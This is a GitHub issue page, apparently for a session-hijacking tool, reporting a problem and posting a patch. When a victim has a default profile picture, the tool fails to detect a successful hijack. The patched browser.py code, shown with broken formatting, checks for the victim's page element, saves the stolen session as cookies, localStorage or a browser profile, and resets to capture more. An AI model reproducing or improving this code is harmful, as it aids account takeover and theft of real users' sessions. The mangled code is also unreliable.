You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
when the hijacked user's profile picture is the default, its not an img element and the xPath is different
its this:
/html/body/div[1]/div/div[2]/div[3]/header/div[1]/div/div/span
instead of this
/html/body/div[1]/div/div/div[4]/header/div[1]/div/img
I made a temporary fix in browser.py
try:
identifier=controller.find_element(By.XPATH, change_identifier)
ifidentifier:
# If the identifier is found the attack has # been successfulprint()
status(f"Got session on {module_name} module")
ifsession_type.lower() =="localstorage":
self.save_localstorage(module_name)
elifsession_type.lower() =="cookies":
self.save_cookie(module_name)
else:
self.save_profile(module_name)
ifSettings.verbose:
status("Resetting browser cookies and localStorage to start over..")
ifnotsession_type.lower() =="profile":
controller.delete_all_cookies()
controller.execute_script("window.localStorage.clear()")
controller.refresh()
ifSettings.verbose:
status("Session reset successfully")
time.sleep(5)
else:
# Identifier found! Can now close the# session and stop listeningself.close_job(module_name)
self.close_all()
else:
time.sleep(5)
except:
# Identifier not found: wait end continue listeningtry:
identifier2=controller.find_element(By.XPATH, "/html/body/div[1]/div/div[2]/div[3]/header/div[1]/div/div/span")
ifidentifier2:
# If the identifier is found the attack has # been successfulprint()
status(f"Got session on {module_name} module")
ifsession_type.lower() =="localstorage":
self.save_localstorage(module_name)
elifsession_type.lower() =="cookies":
self.save_cookie(module_name)
else:
self.save_profile(module_name)
ifSettings.verbose:
status("Resetting browser cookies and localStorage to start over..")
ifnotsession_type.lower() =="profile":
controller.delete_all_cookies()
controller.execute_script("window.localStorage.clear()")
controller.refresh()
ifSettings.verbose:
status("Session reset successfully")
time.sleep(5)
else:
# Identifier found! Can now close the# session and stop listeningself.close_job(module_name)
self.close_all()
else:
time.sleep(5)
except:
time.sleep(5)
The text was updated successfully, but these errors were encountered:
danieldev-gh
changed the title
If user has no profile picture the change_identifier is different and wouldn't work
If user has no profile picture the change_identifier is different and wouldn't work [Made temp fix]
Jan 6, 2024
when the hijacked user's profile picture is the default, its not an img element and the xPath is different
its this:
/html/body/div[1]/div/div[2]/div[3]/header/div[1]/div/div/span
instead of this
/html/body/div[1]/div/div/div[4]/header/div[1]/div/img
I made a temporary fix in browser.py
I had the same issue as #206
The text was updated successfully, but these errors were encountered: